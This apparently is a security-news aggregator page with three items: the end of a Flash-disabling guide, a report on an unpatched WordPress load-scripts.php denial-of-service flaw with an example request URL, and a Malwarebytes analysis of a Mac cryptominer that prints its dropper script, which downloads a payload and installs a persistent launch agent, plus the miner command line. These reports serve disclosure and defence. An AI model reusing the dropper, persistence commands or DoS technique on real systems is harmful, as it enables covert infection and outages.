For readers still unwilling to cut the Flash cord, there are half-measures that work almost as well. Fortunately, disabling Flash in Chrome is simple enough. Paste “chrome://settings/content” into a Chrome browser bar and then select “Flash” from the list of items. By default it should be set to “Ask first” before running Flash, although users also can disable Flash entirely here or whitelist and blacklist specific sites.

By default, Mozilla Firefox on Windows computers with Flash installed runs Flash in a “protected mode,” which prompts the user to decide if they want to enable the plugin before Flash content runs on a Web site.

Another, perhaps less elegant, alternative to wholesale kicking Flash to the curb is to keeping it installed in a browser that you don’t normally use, and then only using that browser on sites that require Flash.

Go to Source
Author: BrianKrebs

Unpatched DoS Flaw Could Help Anyone Take Down WordPress Websites

A simple yet serious application-level denial of service (DoS) vulnerability has been discovered in WordPress CMS platform that could allow anyone to take down most WordPress websites even with a single machine—without hitting with a massive amount of bandwidth, as required in network-level DDoS attacks to achieve the same.

Since the company has denied patching the issue, the vulnerability (CVE-2018-6389) remains unpatched and affects almost all versions of WordPress released in last nine years, including the latest stable release of WordPress (Version 4.9.2).

Discovered by Israeli security researcher Barak Tawily, the vulnerability resides in the way “load-scripts.php,” a built-in script in WordPress CMS, processes user-defined requests.

For those unaware, load-scripts.php file has only been designed for admin users to help a website improve performance and load page faster by combining (on the server end) multiple JavaScript files into a single request.

However, to make “load-scripts.php” work on the admin login page (wp-login.php) before login, WordPress authors did not keep any authentication in place, eventually making the feature accessible to anyone.

wordpress dos attack

Depending upon the plugins and modules you have installed, the load-scripts.php file selectively calls required JavaScript files by passing their names into the “load” parameter, separated by a comma, like in the following URL:

https://your-wordpress-site.com/wp-admin/load-scripts.php?c=1&load=editor,common,user-profile,media-widgets,media-gallery

While loading the website, the ‘load-scripts.php’ (mentioned in the head of the page) tries to find each JavaScript file name given in the URL, append their content into a single file and then send back it to the user’s web browser.

How WordPress DoS Attack Works

wordpress-dos-attack-tool

According to the researcher, one can simply force load-scripts.php to call all possible JavaScript files (i.e., 181 scripts) in one go by passing their names into the above URL, making the targeted website slightly slow by consuming high CPU and server memory.

“There is a well-defined list ($wp_scripts), that can be requested by users as part of the load[] parameter. If the requested value exists, the server will perform an I/O read action for a well-defined path associated with the supplied value from the user,” Tawily says.

Although a single request would not be enough to take down the whole website for its visitors, Tawily used a proof-of-concept (PoC) python script, doser.py, which makes large numbers of concurrent requests to the same URL in an attempt to use up as much of the target servers CPU resources as possible and bring it down.

The Hacker News has verified the authenticity of the DoS exploit that successfully took down one of our demo WordPress websites running on a medium-sized VPS server.

“It is time to mention again that load-scripts.php does not require any authentication, an anonymous user can do so. After ~500 requests, the server didn’t respond at all any more, or returned 502/503/504 status code errors,” Tawily says.

However, attack from a single machine, with some 40 Mbps connection, was not enough to take down another demo website running on a dedicated server with high processing power and memory.

wordpress-hacking

But that doesn’t mean the flaw is not effective against WordPress websites running over a heavy-server, as application-level attack generally requires a lot fewer packets and bandwidth to achieve the same goal—to take down a site.

So attackers with more bandwidth or a few bots can exploit this flaw to target big and popular WordPress websites as well.

No Patch Available  – Mitigation Guide

Along with the full disclosure, Tawily has also provided a video demonstration for the WordPress Denial of Service attack. You can watch the video to see the attack in action.

Knowing that DoS vulnerabilities are out-of-scope from the WordPress bug bounty program, Tawily responsibly reported this DoS vulnerability to the WordPress team through HackerOne platform.

However, the company refused to acknowledge the issue, saying that this kind of bug “should really get mitigated at the server end or network level rather than the application level,” which is outside of WordPress’s control.

The vulnerability seems to be serious because WordPress powers nearly 29 percent of the Web, placing millions of websites vulnerable to hackers and making them unavailable for their legitimate users.

For websites that can’t afford services offering DDoS protection against application-layer attacks, the researcher has provided a forked version of WordPress, which includes mitigation against this vulnerability.

However, I personally wouldn’t recommend users to install modified CMS, even if it is from a trusted source other than the original author.

Besides this, the researcher has also released a simple bash script that fixes the issue, in case you have already installed WordPress.

Go to Source

New Mac cryptominer distributed via a MacUpdate hack

Early this morning, security researcher Arnaud Abbati of SentinelOne tweeted about new Mac malware being distributed via MacUpdate. This malware, which Abbati has named OSX.CreativeUpdate, is a new cryptocurrency miner, designed to sit in the background and use your computer’s CPU to mine the Monero currency.

The malware was spread via hack of the MacUpdate site, which was distributing maliciously-modified copies of the Firefox, OnyX, and Deeper applications. According to a statement posted in the comments for each of the affected apps on the MacUpdate website, this happened sometime on February 1.

Both OnyX and Deeper are products made by Titanium Software (titanium-software.fr), but the site was changed maliciously to point to download URLs at titaniumsoftware.org, a domain first registered on January 23, and whose ownership is obscured. The fake Firefox app was distributed from download-installer.cdn-mozilla.net. (Notice the domain ends in cdn-mozilla.net, which is definitely not the same as mozilla.net. This is a common scammer trick to make you think it’s coming from a legitimate site.)

The downloaded files are .dmg (disk image) files, and they look pretty convincing. In each case, the user is asked to drag the app into the Applications folder, as would the original, non-malicious .dmg files for those apps.

The applications themselves were, as Abbati indicated in his tweet, created by Platypus, a developer tool that makes full macOS applications from a variety of scripts, such as shell or Python scripts. This means the creation of these applications had a low bar for entry.

Once the application has been installed, when the user opens it, it will download and install the payload from public.adobecc.com (a legitimate site owned by Adobe). Then, it attempts to open a copy of the original app (referred to as a decoy app, because it is used to trick the user into thinking nothing’s wrong), which is included inside the malicious app.

However, this isn’t always successful. For example, the malicious OnyX app will run on Mac OS X 10.7 and up, but the decoy OnyX app requires macOS 10.13. This means that on any system between 10.7 and 10.12, the malware will run, but the decoy app won’t open to cover up the fact that something malicious is going on. In the case of the Deeper app, the hackers got even sloppier, including an OnyX app instead of a Deeper app as the decoy by mistake, making it fail similarly but for a more laughable reason.

The “script” file inside the app takes care of opening the decoy app, and then downloading and installing the malware.

open Deeper.app
if [ -f ~/Library/mdworker/mdworker ]; then
killall Deeperd
else
nohup curl -o ~/Library/mdworker.zip
 https://public.adobecc.com/files/1U14RSV3MVAHBMEGVS4LZ42AFNYEFF?
 content_disposition=attachment && unzip -o ~/Library/mdworker.zip -d
 ~/Library && mkdir -p ~/Library/LaunchAgents && mv
 ~/Library/mdworker/MacOSupdate.plist ~/Library/LaunchAgents && sleep 300
 && launchctl load -w ~/Library/LaunchAgents/MacOSupdate.plist && rm -rf
 ~/Library/mdworker.zip && killall Deeperd &
fi

For those who can’t read shell scripts, this code first attempts to open the decoy Deeper.app, which will fail since the wrong decoy was included by mistake. Next, if the malware is already installed, the malicious dropper process is killed, since installation is not necessary.

If the malware is not installed, it will download the malware and unzip it into the user’s Library folder, which is hidden in macOS by default, so most users wouldn’t even know anything had been added there. It also installs a malicious launch agent file named MacOSupdate.plist, which recurrently runs another script.





 Label
 MacOSupdate
 ProgramArguments
 
 sh
 -c
 launchctl unload -w ~/Library/LaunchAgents/MacOS.plist && rm
   -rf ~/Library/LaunchAgents/MacOS.plist && curl -o
   ~/Library/LaunchAgents/MacOS.plist
   https://public.adobecc.com/files/1UJET2WD0VPD5SD0CRLX0EH2UIEEFF?
   content_disposition=attachment && launchctl load -w
   ~/Library/LaunchAgents/MacOS.plist &&
   ~/Library/mdworker/mdworker
 
 RunAtLoad
 

When this launch agent runs, it downloads a new MacOS.plist file and installs it. Before doing so, it will remove the previous MacOS.plist file, presumably so it can be updated with new code. The version of this MacOS.plist file that we obtained did the real work.

sh -c ~/Library/mdworker/sysmdworker -user walker18@protonmail.ch -xmr

This loads a malicious sysmdworker process, passing in a couple arguments, one of which is an email address.

That sysmdworker process will then do the work of mining the Monero cryptocurrency, using a command-line tool called minergate-cli, and periodically connecting to minergate.com, passing in the above email address as the login.

There are multiple takeaways from this. First and foremost, never download software from any kind of “download aggregation” site (a site that acts like an unofficial Mac App Store to let you browse for software). Such sites have a long history of issues. In the case of MacUpdate, back in 2015 they were modifying other people’s software, wrapping it in their own adware-laden installer. This is no longer happening, but in 2016, MacUpdate was similarly used to distribute the OSX.Eleanor malware.

Instead, always download software directly from the developer’s site or from the Mac App Store. These are not guarantees, and can still get you infected with malware, adware, or scam software. But your odds are better. Be sure to check around to make sure the software is legitimate before downloading, but do not give full credence to ratings or reviews on third-party sites or the Mac App Store, as those can be faked.

Second, if you have downloaded a new application and it seems not to be functioning as expected—such as not opening at all when you double-click it—be suspicious. Consider scanning your computer with security software. Malwarebytes for Mac will detect this malware as OSX.CreativeUpdater.

Finally, be aware that the old adage that “Macs don’t get viruses,” which has never been true, is proven to be increasingly false. This is the third piece of Mac malware so far this year, following OSX.MaMi and OSX.CrossRAT. That doesn’t even consider the wide variety of adware and junk software out there. Do not let yourself believe that Macs don’t get infected, as that will make you more vulnerable.

The post New Mac cryptominer distributed via a MacUpdate hack appeared first on Malwarebytes Labs.

Go to Source
Author: Thomas Reed